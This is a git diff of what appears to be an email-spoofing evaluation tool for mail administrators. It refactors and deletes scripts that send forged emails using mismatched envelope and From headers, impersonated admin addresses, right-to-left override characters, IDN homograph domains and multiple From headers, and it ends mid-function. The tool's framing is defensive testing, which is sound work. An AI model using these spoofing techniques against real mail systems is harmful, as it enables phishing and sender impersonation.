3-tuple of the continuation number, the string value, and a flag - # specifying whether a particular segment is %-encoded. - rfc2231_params = {} - name, value = params.pop(0) - new_params.append((name, value)) - while params: - name, value = params.pop(0) - if name.endswith('*'): - encoded = True - else: - encoded = False - value = unquote(value) - mo = rfc2231_continuation.match(name) - if mo: - name, num = mo.group('name', 'num') - if num is not None: - num = int(num) - rfc2231_params.setdefault(name, []).append((num, value, encoded)) - else: - new_params.append((name, '"%s"' % quote(value))) - if rfc2231_params: - for name, continuations in rfc2231_params.items(): - value = [] - extended = False - # Sort by number - continuations.sort() - # And now append all values in numerical order, converting - # %-encodings for the encoded segments. If any of the - # continuation names ends in a *, then the entire string, after - # decoding segments and concatenating, must have the charset and - # language specifiers at the beginning of the string. - for num, s, encoded in continuations: - if encoded: - # Decode as "latin-1", so the characters in s directly - # represent the percent-encoded octet values. - # collapse_rfc2231_value treats this as an octet sequence. - s = urllib.parse.unquote(s, encoding="latin-1") - extended = True - value.append(s) - value = quote(EMPTYSTRING.join(value)) - if extended: - charset, language, value = decode_rfc2231(value) - new_params.append((name, (charset, language, '"%s"' % value))) - else: - new_params.append((name, '"%s"' % value)) - return new_params - -def collapse_rfc2231_value(value, errors='replace', - fallback_charset='us-ascii'): - if not isinstance(value, tuple) or len(value) != 3: - return unquote(value) - # While value comes to us as a unicode string, we need it to be a bytes - # object. We do not want bytes() normal utf-8 decoder, we want a straight - # interpretation of the string as character bytes. - charset, language, text = value - if charset is None: - # Issue 17369: if charset/lang is None, decode_rfc2231 couldn't parse - # the value, so use the fallback_charset. - charset = fallback_charset - rawbytes = bytes(text, 'raw-unicode-escape') - try: - return str(rawbytes, charset, errors) - except LookupError: - # charset is not a known codec. - return unquote(text) - - -# -# datetime doesn't provide a localtime function yet, so provide one. Code -# adapted from the patch in issue 9527. This may not be perfect, but it is -# better than not having it. -# - -def localtime(dt=None, isdst=-1): - """Return local time as an aware datetime object. - - If called without arguments, return current time. Otherwise *dt* - argument should be a datetime instance, and it is converted to the - local time zone according to the system time zone database. If *dt* is - naive (that is, dt.tzinfo is None), it is assumed to be in local time. - In this case, a positive or zero value for *isdst* causes localtime to - presume initially that summer time (for example, Daylight Saving Time) - is or is not (respectively) in effect for the specified time. A - negative value for *isdst* causes the localtime() function to attempt - to divine whether summer time is in effect for the specified time. - - """ - if dt is None: - return datetime.datetime.now(datetime.timezone.utc).astimezone() - if dt.tzinfo is not None: - return dt.astimezone() - # We have a naive datetime. Convert to a (localtime) timetuple and pass to - # system mktime together with the isdst hint. System mktime will return - # seconds since epoch. - tm = dt.timetuple()[:-1] + (isdst,) - seconds = time.mktime(tm) - localtm = time.localtime(seconds) - try: - delta = datetime.timedelta(seconds=localtm.tm_gmtoff) - tz = datetime.timezone(delta, localtm.tm_zone) - except AttributeError: - # Compute UTC offset and compare with the value implied by tm_isdst. - # If the values match, use the zone name implied by tm_isdst. - delta = dt - datetime.datetime(*time.gmtime(seconds)[:6]) - dst = time.daylight and localtm.tm_isdst > 0 - gmtoff = -(time.altzone if dst else time.timezone) - if delta == datetime.timedelta(seconds=gmtoff): - tz = datetime.timezone(delta, time.tzname[dst]) - else: - tz = datetime.timezone(delta) - return dt.replace(tzinfo=tz) diff --git a/evaluate.py b/evaluate.py index 9fcb8b0..153d682 100644 --- a/evaluate.py +++ b/evaluate.py @@ -1,175 +1,106 @@ -from time import sleep -from util.log import init_log -import smtp_send as share -import mta_send as direct from config import * - -LOG_FILE = BASE_DIR + '/log/mta.log' -logger = init_log(LOG_FILE) - -if __name__ == '__main__': - Interval = 5 * 60 +from core.util import * +import sys +import traceback +import random,time +from optparse import OptionParser +from core.sender import Sender, Message, prepare_message + +template_subject = "[Warning] Maybe you are vulnerable to the {name} attack!" +template_body = """ + INFO: + This is an evaluation email sent by EmailTestTool to help email administrators to evaluate and strengthen their security. + If you see this email, it means that you may are vulnerable to the email spoofing attacks. + This email uses the attack ({name}): {description}. + ---------------------------------------------------------------------------------------------------- + How to fix it: + For the attack ({name}): {defense} + ---------------------------------------------------------------------------------------------------- + More Detail : + More email header details are provided to help you to configure the corresponding email filtering strategy. + You can view the original message for more Detail. + """ + +def sleep(): + m = random.randint(1, 5) + wait_time = m * 60 + while True: + logger.info("[+] This test is finished, waiting for the next round...") + for i in range(wait_time): + logger.info("[+] The next attack is %d seconds later..." % (wait_time - i)) + time.sleep(1) + + +def parse_options(): + parser = OptionParser() + parser.add_option("-m", "--mode", dest="mode", default="s", choices=['s', 'd'], + help="The attack mode with spoofing email (s: Shared MTA, d: Direct MTA)") + parser.add_option("-t", "--target", dest="target", default="default", help="Select target under attack mode.") + parser.add_option("--mail_to", dest='mail_to', default=None, + help='Set Mail to address manually. It will overwrite the settings in config.yaml') + + (options, args) = parser.parse_args() + return options + + +def run_error(errmsg): + logger.error(("Usage: python " + sys.argv[0] + " [Options] use -h for help")) + logger.error(("Error: " + errmsg)) + sys.exit() + + + +def run(): logger.info("Start evaluate email server....") logger.warning("-" * 70) - logger.info("Try to use Shared MTA to send spoofed emails...") - logger.warning("-" * 70) - # Shared MTA Attack - # share.test_normal(user, passwd, smtp_server, receiveUser,subject,content,mime_from=None,filename=filename,mime_from1=None,mime_from2=None,mail_from=None,image=image) - try: - logger.info("Test inconsistency in the from header") - share.test_mail_mime_attack(user, passwd, smtp_server, receiveUser) - share.test_login_mail_attack(user, passwd, smtp_server, receiveUser) - logger.info("Finish!") - logger.warning("-" * 70) - sleep(Interval) - except: - pass - - try: - logger.info("Test special chars") - special_unicode = '\xff' - share.test_mail_mime_chars_attack(user, passwd, smtp_server, receiveUser, special_unicode) - logger.info("Finish!") - logger.warning("-" * 70) - sleep(Interval) - except: - pass - - try: - logger.info("Test multiple from headers") - share.test_multiple_mime_from1(user, passwd, smtp_server, receiveUser) - share.test_multiple_mime_from2(user, passwd, smtp_server, receiveUser) - logger.info("Finish!") - logger.warning("-" * 70) - sleep(Interval) - except: - pass + options = parse_options() + # config + config = read_config(CONFIG_PATH) + + if options.mode == "s": + target = config["share_mode"][options.target] + target["mode"] = "share" + mail = Sender(**target) + mail.show_status() + + elif options.mode == 'd': + target = config['direct_mode'][options.target] + target["mode"] = "direct" + mail = Sender(**target) + mail.show_status() + else: + logger.error("Option.mode illegal!{}".format(options.mode)) + sys.exit() + + for a in config["attack"]: + try: + data = config["attack"][a] + name = a + subject = template_subject.format(name=name) + description = data['description'] + defense = data['defense'] + body = template_body.format(name=name,defense=defense,description=description) + data['subject'] = subject + data['body'] = body + message = Message(**data) + message = prepare_message(message, mail) + message.show_status() + mail.send(message) + sleep() + except Exception as e: + logger.info(e) + pass + logger.info("All Task Done! :)") + + +def main(): + banner() + try: + run() + except Exception as e: + traceback.print_exc() + run_error(errmsg=str(e)) - try: - logger.info("Test multiple sender address") - share.test_multiple_value_mime_from1(user, passwd, smtp_server, receiveUser) - share.test_multiple_value_mime_from2(user, passwd, smtp_server, receiveUser) - logger.info("Finish!") - logger.warning("-" * 70) - sleep(Interval) - except: - pass - """ - try: - logger.info("Test multiple recipient address") - share.test_multiple_value_mime_to(user, passwd, smtp_server, receiveUser) - share.test_mime_to(user, passwd, smtp_server, receiveUser) - logger.info("Finish!") - logger.warning("-" * 70) - sleep(Interval) - except: - pass - """ - try: - logger.info("Test IDN domain") - share.test_IDN_mime_from_domain(user, passwd, smtp_server, receiveUser) - share.test_IDN_mime_from_username(user, passwd, smtp_server, receiveUser) - logger.info("Finish!") - logger.warning("-" * 70) - sleep(Interval) - except: - pass - - try: - logger.info("Test Right-to-left strings") - share.test_reverse_mime_from_user(user, passwd, smtp_server, receiveUser) - share.test_reverse_mime_from_domain(user, passwd, smtp_server, receiveUser) - logger.info("Finish!") - logger.warning("-" * 70) - sleep(Interval) - except: - pass - - logger.info("\n") - logger.info("Try to use Direct MTA to send spoofed emails...") - logger.warning("-" * 70) - - # Direct MTA - try: - logger.info("Test IDN domain") - direct.test_IDN_mime_from(to_email) - logger.info("Finish!") - logger.warning("-" * 70) - sleep(Interval) - except: - pass - try: - logger.info("Test Right-to-left strings") - direct.test_reverse_mime_from(to_email) - logger.info("Finish!") - logger.warning("-" * 70) - sleep(Interval) - except: - pass - - try: - logger.info("Test mime from empty") - direct.test_mime_from_empty(mail_from, to_email) - logger.info("Finish!") - logger.warning("-" * 70) - sleep(Interval) - except: - pass - - try: - logger.info("Test sender") - direct.test_sender(mail_from, to_email, sender) - logger.info("Finish!") - logger.warning("-" * 70) - sleep(Interval) - except: - pass - - try: - logger.info("Test inconsistency in the from header") - direct.test_mail_mime_attack(mail_from, to_email) - direct.test_mail_mime_attack_diff_domain(mail_from, to_email) - logger.info("Finish!") - logger.warning("-" * 70) - sleep(Interval) - except: - pass - - try: - logger.info("Test special char") - direct.test_mime_from_badchar(to_email) - logger.info("Finish!") - logger.warning("-" * 70) - sleep(Interval) - except: - pass - - try: - logger.info("Test empty mail from") - direct.test_mail_from_empty(mime_from, to_email, helo) - logger.info("Finish!") - logger.warning("-" * 70) - sleep(Interval) - except: - pass - - try: - logger.info("Test multiple from headers") - direct.test_multiple_mime_from1(mail_from, to_email) - direct.test_multiple_mime_from2(mail_from, to_email) - logger.info("Finish!") - logger.warning("-" * 70) - sleep(Interval) - except: - pass - - try: - logger.info("Test multiple sender addresses") - direct.test_multiple_value_mime_from1(mail_from, to_email) - direct.test_multiple_value_mime_from2(mail_from, to_email) - logger.info("Finish!") - logger.warning("-" * 70) - sleep(Interval) - except: - pass +if __name__ == '__main__': + main() diff --git a/img/screenshots2.png b/img/screenshots2.png new file mode 100644 index 0000000..c78fd9d Binary files /dev/null and b/img/screenshots2.png differ diff --git a/img/usage.png b/img/usage.png new file mode 100644 index 0000000..07f817e Binary files /dev/null and b/img/usage.png differ diff --git a/mta_send.py b/mta_send.py deleted file mode 100755 index 702bde2..0000000 --- a/mta_send.py +++ /dev/null @@ -1,200 +0,0 @@ -# -*- coding: UTF-8 -*- -# the code to send forged emails as an MTA - -import time -from util.log import init_log -from struct import pack -import random -import os -import string -from core.MTA import * -from config import * - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -LOG_FILE = BASE_DIR + '/log/mta.log' -logger = init_log(LOG_FILE) - - -def test_reverse_mime_from(to_email): - mail_from = "" - # MIME.From - mime_from = "\u202emoc.qq@\u202dadmin" - subject = "{} --> {} [reverse domain]".format(mime_from, to_email) - content = "{} --> {} [reverse domain]\n".format(mime_from, to_email) - content += "Envelope.From: {}\n".format(mail_from) - content += "MIME.From: {}\n".format(mime_from) - spoof(mail_from,to_email,subject, content,mime_from=mime_from) - # logger.debug(content) - # logger.debug('-' * 20) - -def test_mime_from_empty(mail_from,to_email): - mail_from = '' - mime_from = 'admin@mails.tsinghua.edu.cn' - subject = "%s --> %s [test_mime_empty]" % (mail_from, to_email) - content = "Envelope.From: {}\n".format(mail_from) - content += "MIME.From: {}\n".format(mime_from) - spoof(mail_from,to_email,subject, content,mime_from=mime_from) - # logger.debug(content) - # logger.debug('-' * 20) - -def test_IDN_mime_from(to_email): - # Envelope.From - mail_from = "admin1@xn--80aa1cn6g67a.com" - # MIME.From - mime_from = "admin1@xn--80aa1cn6g67a.com" - subject = "{} --> {} [IDN domain]".format(mime_from, to_email) - content = "{} --> {} [IDN domain]\n".format(mime_from, to_email) - content += "Envelope.From: {}\n".format(mail_from) - content += "MIME.From: {}\n".format(mime_from) - spoof(mail_from,to_email,subject, content,mime_from=mime_from) - # logger.debug(content) - # logger.debug('-' * 20) - -def test_sender(mail_from,to_email,sender): - mime_from = mail_from - # Sender - subject = "%s --> %s [Sender]" % (mail_from, to_email) - content = "%s --> %s [Sender]\n" % (mail_from, to_email) - content += "Envelope.From: {}\n".format(mail_from) - content += "MIME.From: {}\n".format(mime_from) - content += "Sender: {}\n".format(sender) - spoof(mail_from,to_email,subject, content,mime_from=mime_from,sender=sender) - # logger.debug(content) - # logger.debug('-' * 20) - -def test_mail_mime_attack(mail_from,to_email): - domain = mail_from.split('@')[1] - mime_from = 'admin@' + domain - subject = "%s --> %s [test_mail_mime_attack]" % (mail_from, to_email) - content = "Envelope.From: {}\n".format(mail_from) - content += "MIME.From: {}\n".format(mime_from) - spoof(mail_from,to_email,subject, content,mime_from=mime_from) - # logger.debug(content) - # logger.debug('-' * 20) - -def test_mail_mime_attack_diff_domain(mail_from,to_email): - username = mail_from.split('@')[0] - mime_from = username+'@emailtestxxx.com' - subject = "%s --> %s [test_mail_mime_attack_diff_domain]" % (mime_from, to_email) - content = "Envelope.From: {}\n".format(mail_from) - content += "MIME.From: {}\n".format(mime_from) - spoof(mail_from,to_email,subject, content,mime_from=mime_from) - # logger.debug(content) - # logger.debug('-' * 20) - -def test_mime_from_badchar(to_email): - mail_from = "admin@test.com" - # MIME.From - mime_from = "admin@test.com{}@test2.com".format('\xff') - subject = "%s --> %s [badchar]" % (mime_from, to_email) - content = "%s --> %s [badchar]\n" % (mime_from, to_email) - content += "Envelope.From: " + str(mail_from) - content += "\nMIME.From: " + str(mime_from) - spoof(mail_from,to_email,subject, content,mime_from=mime_from) - # logger.debug(content) - # logger.debug('-' * 20) - -def test_mail_from_empty(mime_from,to_email,helo): - mail_from = '' - subject = "%s --> %s [test_mail_from_empty]" % (mime_from, to_email) - content = "Envelope.From: {}\n".format(mail_from) - content += "MIME.From: {}\n".format(mime_from) - spoof(mail_from,to_email,subject, content,helo=helo,mime_from=mime_from) - # logger.debug(content) - # logger.debug('-' * 20) - -def test_multiple_value_mime_from1(mail_from,to_email): - mail_from = mail_from - domain = mail_from.split('@')[1] - first_mime_from = 'admin@'+domain - mime_from = first_mime_from+','+mail_from - subject = "%s --> %s [test_multiple_value_mime_from_1]" % (mail_from, to_email) - content = "Envelope.From: {}\n".format(mail_from) - content += "MIME.From: {}\n".format(mime_from) - spoof(mail_from, to_email, subject, content,mime_from=mime_from) - # logger.debug(content) - # logger.debug('-' * 20) - -def test_multiple_value_mime_from2(mail_from,to_email): - mail_from = mail_from - domain = mail_from.split('@')[1] - second_mime_from = 'admin@'+domain - mime_from = mail_from+','+second_mime_from - subject = "%s --> %s [test_multiple_value_mime_from_2]" % (mail_from, to_email) - content = "Envelope.From: {}\n".format(mail_from) - content += "MIME.From: {}\n".format(mime_from) - spoof(mail_from, to_email, subject, content,mime_from=mime_from) - # logger.debug(content) - # logger.debug('-' * 20) - -def test_multiple_mime_from1(mail_from,to_email): - mime_from = mail_from - domain = mail_from.split('@')[1] - mime_from1 = 'admin@'+domain - subject = "%s --> %s [test_multiple_mime_from1]" % (mail_from, to_email) - content = "Envelope.From: {}\n".format(mail_from) - content += "MIME.From: {}\n".format(mime_from) - content += "mime_from1: {}\n".format(mime_from1) - spoof(mail_from, to_email, subject, content,mime_from=mime_from,mime_from1=mime_from1) - # logger.debug(content) - # logger.debug('-' * 20) - -def test_multiple_mime_from2(mail_from,to_email): - mime_from = mail_from - domain = mail_from.split('@')[1] - mime_from2 = 'admin@'+domain - subject = "%s --> %s [test_multiple_mime_from2]" % (mail_from, to_email) - content = "Envelope.From: {}\n".format(mail_from) - content += "MIME.From: {}\n".format(mime_from) - content += "mime_from2: {}\n".format(mime_from2) - spoof(mail_from, to_email, subject, content,mime_from=mime_from,mime_from2=mime_from2) - # logger.debug(content) - # logger.debug('-' * 20) - -def test_normal(mail_from, to_email, subject, content, mime_from=None, mime_from1=None,mime_from2=None, sender=None, - helo=None,filename=None): - spoof(mail_from, to_email, subject, content, mime_from=mime_from, mime_from1=None,mime_from2=None,filename=filename) - # logger.debug(content) - # logger.debug('-' * 20) - - - -if __name__ == "__main__": - - """ - Send normal smtp email to receiverUser - :param mail_from: - :param mime_from: - :param to_email:MTA target which can be changed to what you like. - :param subject: - :param content: both html and normal text is supported - :param filename: put Mail attachment into uploads folder and specify 'filename' - Other parameters like helo,mime_from1,mime_from2,sender can be specified. - :return: - """ - # test_normal(mail_from, to_email, subject, content, mime_from=mime_from, mime_from1=None,mime_from2=None, sender=None,helo=None,filename=None) - # test_reverse_mime_from(to_email) - test_mime_from_empty(mail_from,to_email) - # test_IDN_mime_from(to_email) - # - # test_sender(mail_from,to_email,sender) - # test_mail_mime_attack(mail_from,to_email) - # test_mail_mime_attack_diff_domain(mail_from,to_email) - # test_mime_from_badchar(to_email) - # - # test_mail_from_empty(mime_from,to_email,helo) - # test_multiple_value_mime_from1(mail_from,to_email) - # test_multiple_value_mime_from2(mail_from,to_email) - # test_multiple_mime_from1(mail_from,to_email) - # test_multiple_mime_from2(mail_from,to_email) - - - - - - - - - - - \ No newline at end of file diff --git a/pre_fuzz.py b/pre_fuzz.py index cba3274..70e207d 100755 --- a/pre_fuzz.py +++ b/pre_fuzz.py @@ -1,8 +1,10 @@ import numpy as np -import sys import json, re, random import time +import sys +import traceback from config import * +from core.util import banner from optparse import OptionParser from fuzzer import mutation as mu from fuzzer.abnf_parser import get_rule_list, generate @@ -25,7 +27,11 @@ def generate_all(rfc_number, rule_name, count): rule_value = generate(rule_name, rfc_number) res.append(rule_value) res = muation(res) - save_data(res) + data = {} + if rule_name == 'from': + rule_name = 'mime_from' + data[rule_name] = res + save_data(data) return res @@ -66,19 +72,31 @@ def parse_options(): parser = OptionParser() parser.add_option("-r", "--rfc", dest="rfc", default="5322", help="The RFC number of the ABNF rule to be extracted.") - parser.add_option("-t", "--target", dest="target", default="from", help="The field to be fuzzed in ABNF rules.") + parser.add_option("-f", "--field", dest="field", default="from", help="The field to be fuzzed in ABNF rules.") parser.add_option("-c", "--count", dest="count", default="255", help="The amount of ambiguity data that needs to be generated according to ABNF rules.") (options, args) = parser.parse_args() return options +def run_error(errmsg): + logger.error(("Usage: python " + sys.argv[0] + " [Options] use -h for help")) + logger.error(("Error: " + errmsg)) + sys.exit() +def main(): + try: + run() + except Exception as e: + traceback.print_exc() + run_error(errmsg=str(e)) - -if __name__ == '__main__': +def run(): # print banner banner() # parse options options = parse_options() - generate_all(options.rfc, options.target, options.count) + generate_all(options.rfc, options.field.lower(), options.count) + +if __name__ == '__main__': + main() diff --git a/requirements.txt b/requirements.txt index 31bde4b..f484cce 100755 --- a/requirements.txt +++ b/requirements.txt @@ -1,28 +1,12 @@ -astroid==2.3.1 -asyncpool==1.0 -certifi==2019.9.11 -cffi==1.12.3 -chardet==3.0.4 -coloredlogs==10.0 -dnspython==1.16.0 +certifi==2020.12.5 +chardet==4.0.0 +coloredlogs==15.0 +dnspython==2.1.0 future==0.18.2 -humanfriendly==4.18 -idna==2.8 -isort==4.3.21 -lazy-object-proxy==1.4.2 -mccabe==0.6.1 -numpy==1.19.0 -protobuf==3.10.0 -pycparser==2.19 -pylint==2.4.2 -python-magic==0.4.15 -requests==2.22.0 -scapy==2.4.3 -six==1.12.0 +humanfriendly==9.1 +idna==2.10 +numpy==1.20.1 +PyYAML==5.4.1 +requests==2.25.1 treelib==1.6.1 -typed-ast==1.4.0 -urllib3==1.25.6 -wrapt==1.11.1 -yara==1.7.7 -yara-python==3.11.0 -zio3==3.0.4 +urllib3==1.26.3 diff --git a/run_fuzz_test.py b/run_fuzz_test.py new file mode 100755 index 0000000..f5c5147 --- /dev/null +++ b/run_fuzz_test.py @@ -0,0 +1,84 @@ +import numpy as np +import sys +import json, re, random +import time +import traceback +from config import * +from core.util import banner, read_config, read_data, iterkeys +from core.sender import Sender, Message, prepare_message +from optparse import OptionParser + + + +def sleep(): + m = random.randint(8, 20) + wait_time = m * 60 + while True: + logger.info("[+] This test is finished, waiting for the next round...") + for i in range(wait_time): + logger.info("[+] The next attack is %d seconds later..." % (wait_time - i)) + time.sleep(1) + + +def parse_options(): + parser = OptionParser() + parser.add_option("-m", "--mode", dest="mode", default="s", choices=['s', 'd'], + help="The attack mode with spoofing emails (s: Shared MTA, d: Direct MTA)") + parser.add_option("-t", "--target", dest="target", default="default", help="Select target under attack mode.") + parser.add_option("-a", "--attack", dest='attack', default="default", help="Select a specific attack method to send spoofing email.") + + (options, args) = parser.parse_args() + return options + + +def run_error(errmsg): + logger.error(("Usage: python " + sys.argv[0] + " [Options] use -h for help")) + logger.error(("Error: " + errmsg)) + sys.exit() + +def run(): + # print banner + banner() + options = parse_options() + # config + config = read_config(CONFIG_PATH) + + if options.mode == "s": + target = config["share_mode"][options.target] + target["mode"] = "share" + mail = Sender(**target) + mail.show_status() + + elif options.mode == 'd': + target = config['direct_mode'][options.target] + target["mode"] = "direct" + mail = Sender(**target) + mail.show_status() + else: + logger.error("Option.mode illegal!{}".format(options.mode)) + sys.exit() + + fuzz_vector = json.loads(read_data(FUZZ_PATH).decode()) + m = config["attack"][options.attack] + for k in iterkeys(fuzz_vector): + for f in fuzz_vector[k]: + # TODO + m[k] = f + message = Message(**m) + message = prepare_message(message, mail) + message.show_status() + mail.send(message) + sleep() + logger.info("All Task Done! :)") + +def main(): + banner() + try: + run() + except Exception as e: + traceback.print_exc() + run_error(errmsg=str(e)) + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/run_test.py b/run_test.py deleted file mode 100755 index 3126f1e..0000000 --- a/run_test.py +++ /dev/null @@ -1,99 +0,0 @@ -import numpy as np -import sys -import json, re, random -import time -from config import * -from core.MTA import spoof -from core.SMTP import SendMailDealer -from optparse import OptionParser - - - -def sleep(): - m = random.randint(8, 20) - wait_time = m * 60 - while True: - logger.info("[+] This test is finished, waiting for the next round...") - for i in range(wait_time): - logger.info("[+] The next attack is %d seconds later..." % (wait_time - i)) - time.sleep(1) - - -def MTA_mail_from_test(): - with open(FUZZ_PATH, 'r') as f: - data = json.load(f) - to_email = receiveUser - for m in data: - mail_from = m - spoof(mail_from=mail_from, to_email=to_email, mime_from=mime_from, subject=subject, - content=content) - logger.info("TEST MTA mail from:{} ,run succ".format(mail_from)) - sleep() - - -def MTA_mime_from_test(): - with open(FUZZ_PATH, 'r') as f: - data = json.load(f) - to_email = receiveUser - for m in data: - mime_from = m - spoof(mail_from=mail_from, to_email=to_email, mime_from=mime_from, subject=subject, - content=content) - logger.info("TEST MTA mime from:{} ,run succ".format(mime_from)) - sleep() - - -def SMTP_mail_from_test(): - with open(FUZZ_PATH, 'r') as f: - data = json.load(f) - to_email = receiveUser - for m in data: - mail_from = m - try: - demo = SendMailDealer(user, passwd, smtp, port) - demo.sendMail(to_email, mail_from=mail_from) - logger.info("TEST SMTP mail from:{} ,run succ".format(mime_from)) - except Exception as e: - logger.error(e) - sleep() - - -def SMTP_mime_from_test(): - with open(FUZZ_PATH, 'r') as f: - data = json.load(f) - to_email = receiveUser - for m in data: - mime_from = m - try: - demo = SendMailDealer(user, passwd, smtp, port) - demo.sendMail(to_email, mime_from=mime_from) - logger.info("TEST SMTP mime from:{} ,run succ".format(mime_from)) - except Exception as e: - logger.error(e) - sleep() - - -def parse_options(): - parser = OptionParser() - parser.add_option("-m", "--mode", dest="mode", default="SMTP", - help="The attack mode with spoofing emails( SMTP: Shared MTA, MTA: Direct MTA)") - parser.add_option("-t", "--target", dest="target", default="MIME", help="The target field to test.") - (options, args) = parser.parse_args() - return options - - - -if __name__ == '__main__': - # print banner - banner() - options = parse_options() - if options.mode == 'MTA': - if options.target == 'MIME': - MTA_mime_from_test() - else: - MTA_mail_from_test() - else: - if options.target == 'MIME': - SMTP_mime_from_test() - else: - SMTP_mail_from_test() diff --git a/smtp_send.py b/smtp_send.py deleted file mode 100755 index 350329c..0000000 --- a/smtp_send.py +++ /dev/null @@ -1,325 +0,0 @@ -#!/usr/bin/env python3 -# coding:utf8 - -from util import smtplib -from struct import pack -import string -import time -import os -from email.mime.multipart import MIMEMultipart -from email.mime.text import MIMEText -from email.header import Header -from util.log import init_log -from core.SMTP import SendMailDealer -from config import * - -rstr = string.ascii_letters + string.digits -RSTR = list(map(lambda x: x.encode(), rstr)) # str --> byte - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -LOG_FILE = BASE_DIR + '/log/smtp.log' -logger = init_log(LOG_FILE) - -template = """--- - -INFO: - -This is an evaluation email sent by EmailTestTool to help email administrators to evaluate and strengthen their security. - -If you see this email, it means that you may are vulnerable to the email spoofing attacks. - -This email uses the {attack_name}({number}). - ----------------------------------------------------------------------------------------------------- - -How to fix it: - -For the IDN {attack_name}({number}): {defense} - ----------------------------------------------------------------------------------------------------- - -More Details: - -More email header details are provided to help you to configure the corresponding email filtering strategy. - -""" - - -def is_bad(s): - return s not in RSTR - - -def test_normal(user, passwd, smtp_server, receiveUser, subject, content, - filename=None, mime_from1=None, mime_from2=None, mail_from=None, image=None, mime_from=None): - smtp, port = smtp_server.split(":") - # print(user, passwd, smtp, port, receiveUser, mime_from, subject, content, filename, mime_from1, mime_from2) - demo = SendMailDealer(user, passwd, smtp, port, filename=filename) - demo.sendMail(receiveUser, mime_from=mime_from, subject=subject, content=content, mime_from1=mime_from1, - mime_from2=mime_from2, mail_from=mail_from, image=image) - - -def test_mail_mime_attack(user, passwd, smtp_server, receiveUser): - """ - Test whether the smtp server supports MIME FROM and MAIL FROM inconsistency - :return: - """ - smtp, port = smtp_server.split(":") - demo = SendMailDealer(user, passwd, smtp, port) - to_email = receiveUser - info = u"The Inconsistency between Mail From and From headers" - number = "A2" - subject = "[Warning] Maybe you are vulnerable to the %s attack!" % number - domain = user.split('@')[1] - # mime_from can specify any value you like. - mime_from = 'admin@' + domain - defense = '''You should Add a reminder to remind users that the sender is inconsistent with MAIL FROM on UI.''' - content = template.format(attack_name=info, number=number, defense=defense) - demo.sendMail(to_email=to_email, info=info, mime_from=mime_from, subject=subject, content=content) - - -def test_login_mail_attack(user, passwd, smtp_server, receiverUser): - """ - :return: - """ - smtp, port = smtp_server.split(":") - demo = SendMailDealer(user, passwd, smtp, port) - to_email = receiverUser - info = u"The Inconsistency between Auth username and Mail From headers" - domain = user.split('@')[1] - mail_from = 'adm1n@' + domain - defense = 'Prohibit sending such emails! ' - try: - demo.sendMail(to_email=to_email, info=info, mail_from=mail_from, subject=info, defense=defense) - except Exception as e: - logger.error(e) - logger.info("attack failed.") - return False - logger.info("attack success!") - return True - - -def test_mail_mime_chars_attack(user, passwd, smtp_server, receiveUser, special_unicode='\xff'): - """ - Test whether the smtp server supports different unicode in MIME FROM header - :return: - """ - smtp, port = smtp_server.split(":") - demo = SendMailDealer(user, passwd, smtp, port) - to_email = receiveUser - info = u"Missing UI Rendering Attack" - number = "A13" - subject = "[Warning] Maybe you are vulnerable to the %s attack!" % number - domain = user.split('@')[1] - username = user.split('@')[0] - defense = 'You should reject emails which contains special and not allowed characters in the sender address or add a warning in the UI.' - mime_from = username + special_unicode + '@' + domain - content = template.format(attack_name=info, number=number, defense=defense) - demo.sendMail(to_email, info=info, mime_from=mime_from, defense=defense,subject=subject,content=content) - - -def test_multiple_mime_from1(user, passwd, smtp_server, receiveUser): - """ - Test whether the smtp server supports multiple MIME FROM headers.(The Specified MIME FROM is above) - :return: - """ - smtp, port = smtp_server.split(":") - demo = SendMailDealer(user, passwd, smtp, port) - to_email = receiveUser - info = u"Multiple From Headers Attack" - number = "A4" - subject = "[Warning] Maybe you are vulnerable to the %s attack!" % number - domain = user.split('@')[1] - mime_from1 = 'admin@' + domain - defense = '''You should reject such emails which contain multiple from headers.''' - content = template.format(attack_name=info, number=number, defense=defense) - demo.sendMail(to_email, info=info, mime_from=user, mime_from1=mime_from1,defense=defense,subject=subject,content=content) - - -def test_multiple_mime_from2(user, passwd, smtp_server, receiveUser): - """ - Test whether the smtp server supports multiple MIME FROM headers.(The Specified MIME FROM is below) - :return: - """ - smtp, port = smtp_server.split(":") - demo = SendMailDealer(user, passwd, smtp, port) - to_email = receiveUser - info = u"Multiple From Headers Attack" - number = "A4" - subject = "[Warning] Maybe you are vulnerable to the %s attack!" % number - domain = user.split('@')[1] - # mime_from2 can specify any value you like. - mime_from2 = 'admin@' + domain - defense = '''You should reject such emails which contain multiple from headers.''' - content = template.format(attack_name=info, number=number, defense=defense) - demo.sendMail(to_email, info=info, mime_from=user, mime_from2=mime_from2, defense=defense,subject=subject,content=content) - - -def test_multiple_value_mime_from1(user, passwd, smtp_server, receiveUser): - """ - Test whether the smtp server supports multiple email address in MIME FROM header.(The specified email address is in front) - :return: - """ - smtp, port = smtp_server.split(":") - demo = SendMailDealer(user, passwd, smtp, port) - to_email = receiveUser - info = u"Multiple Email Addresses Attack" - number = "A5" - subject = "[Warning] Maybe you are vulnerable to the %s attack!" % number - domain = user.split('@')[1] - front_mime_from = 'admin@' + domain - # mime_from can specify in many different situations such like ',','a,b',"'a@a.com','b@b.com'" ... - mime_from = front_mime_from + ',' + user - defense = '''You should display all sender addresses and remind users that it may be forged emails on UI.''' - content = template.format(attack_name=info, number=number, defense=defense) - demo.sendMail(to_email,subject=subject,mime_from=mime_from, info=info, content=content) - - -def test_multiple_value_mime_from2(user, passwd, smtp_server, receiveUser): - """ - Test whether the smtp server supports multiple email address in MIME FROM header.(The specified email address is at the back) - :return: - """ - smtp, port = smtp_server.split(":") - demo = SendMailDealer(user, passwd, smtp, port) - to_email = receiveUser - info = u"Multiple Email Addresses Attack" - number = "A5" - subject = "[Warning] Maybe you are vulnerable to the %s attack!" % number - domain = user.split('@')[1] - back_mime_from = 'admin@' + domain - # mime_from can specify in many different situations such like ',','a,b',"'a@a.com','b@b.com'" ... - mime_from = user + ',' + back_mime_from - defense = '''You should display all sender addresses and remind users that it may be forged emails on UI.''' - content = template.format(attack_name=info, number=number, defense=defense) - demo.sendMail(to_email,subject=subject,mime_from=mime_from, info=info, content=content) - - -def test_multiple_value_mime_to(user, passwd, smtp_server, receiveUser): - """ - Test whether the smtp server supports multiple email address in MIME TO header. - :return: - """ - smtp, port = smtp_server.split(":") - demo = SendMailDealer(user, passwd, smtp, port) - to_email = receiveUser - info = u"Test multiple addresses in 'to' filed" - domain = user.split('@')[1] - new_mime_to = 'admin@' + domain - to = 